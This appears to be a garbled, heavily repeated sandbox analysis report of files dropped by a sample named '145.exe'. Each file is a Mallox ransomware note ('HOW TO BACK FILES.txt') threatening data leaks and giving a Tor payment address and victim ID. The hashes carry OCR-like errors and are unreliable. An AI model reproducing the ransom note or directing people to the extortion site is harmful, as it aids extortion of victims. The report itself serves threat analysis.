B3DB25F41950DC98BDCI93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:
SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:
SHA1:
SHA-256:
SHA-512:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3
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Malicious:

Preview:

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\Microsoft\Framework\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED 1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDCI93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\HOW TO BACK FILES.txt
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7322334E0D24A4434F1B5D63CF177D95
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B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAQDB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\Microsoft\HOW TO BACK FILES.txt
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Defender Advanced Threat Protection\Classification\HOW TO BACK FILES.txt
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7322334E0D24A4434F1B5D63CF177D95
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAQDB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Defender Advanced Threat Protection\HOW TO BACK FILES.txt
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\HOW TO BACK FILES.txt
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\HOW TO BACK FILES.txt
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\Media Renderer\HOW TO BACK FILES.txt
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\Network Sharing\HOW TO BACK FILES.txt
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\Skins\HOW TO BACK FILES.txt
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7322334E0D24A4434F1B5D63CF177D95
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAQDB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\Visualizations\HOW TO BACK FILES.txt
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\en-GB\HOW TO BACK FILES.txt
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\en-US\HOW TO BACK FILES.txt
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3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAQDB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Multimedia Platform\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:
SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe
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false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Security\BrowserCore\HOW TO BACK FILES.txt

Process:
File Type:
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
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C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED 1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Security\BrowserCore\en-US\HOW TO BACK FILES.txt

Process:
File Type:
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
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SHA-512:
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Preview:

C:\Users\user\Desktop\_145.exe
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24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7BI990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAQDB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Security\HOW TO BACK FILES.txt

Process:
File Type:
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe
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dropped
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4.76384410394738
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24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\HOW TO BACK FILES.txt

Process:
File Type:
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
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SHA-256:
SHA-512:
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C:\Users\user\Desktop\ 145.exe
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24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe
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24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7BI990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDCI3CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\UEV\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped
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4.76384410394738
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24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\User Account Pictures\HOW TO BACK FILES.txt

Process:
File Type:
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
